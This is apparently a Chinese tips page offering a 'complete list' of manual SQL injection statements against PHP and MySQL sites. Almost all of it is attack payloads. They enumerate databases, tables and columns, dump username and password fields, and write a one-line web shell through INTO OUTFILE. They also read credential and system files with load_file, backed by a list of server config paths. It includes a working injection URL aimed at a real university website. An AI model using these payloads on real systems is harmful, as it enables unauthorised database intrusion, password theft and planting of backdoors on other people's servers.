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PHP+MySQL 手工注入语句大全 推荐_php技巧

May 17, 2016 am 09:29 AM
mysql php

暴字段长度

Order by num/*


匹配字段

and 1=1 union select 1,2,3,4,5…….n/*


暴字段位置

and 1=2 union select 1,2,3,4,5…..n/*


利用内置函数暴数据库信息

version() database() user()  

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系统信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

数据库权限:

and ord(mid(user(),1,1))=114 /* 返回正常说明为root

暴库 (mysql>5.0)

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息

and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—


猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1


暴密码

and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

高级用法(一个可用字段显示两个数据内容)

Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

直接写马(Root权限)

条件:1、知道站点物理路径

       2、有足够大的权限(可以用select …. from mysql.user测试)

       3、magic_quotes_gpc()=OFF

select   ‘'   into outfile ‘物理路径'

and 1=2 union all select 一句话HEX值 into outfile '路径'


load_file() 常用路径:


  1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
  2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
  上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “  3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
  4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
  5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
  6、c:/Resin-3.0.14/conf/resin.conf   查看jsp开发的网站 resin文件配置信息.
  7、c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
  8、d:\APACHE\Apache2\conf\httpd.conf
  9、C:\Program Files\mysql\my.ini
  10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
  11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
  12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
  13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
  14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
  15、 /etc/sysconfig/iptables 本看防火墙策略
  16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
  17 、/etc/my.cnf MYSQL的配置文件
  18、 /etc/redhat-release   红帽子的系统版本
  19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
  20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
  21、/usr/local/app/php5 b/php.ini //PHP相关设置
  22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
  23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
  24、c:\windows\my.ini
       25、c:\boot.ini

网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))

注:

Char(60)表示

Char(32)表示 空格

手工注射时出现的问题:

当注射后页面显示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

这是由于前后编码不一致造成的,

解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以继续注射了。。。

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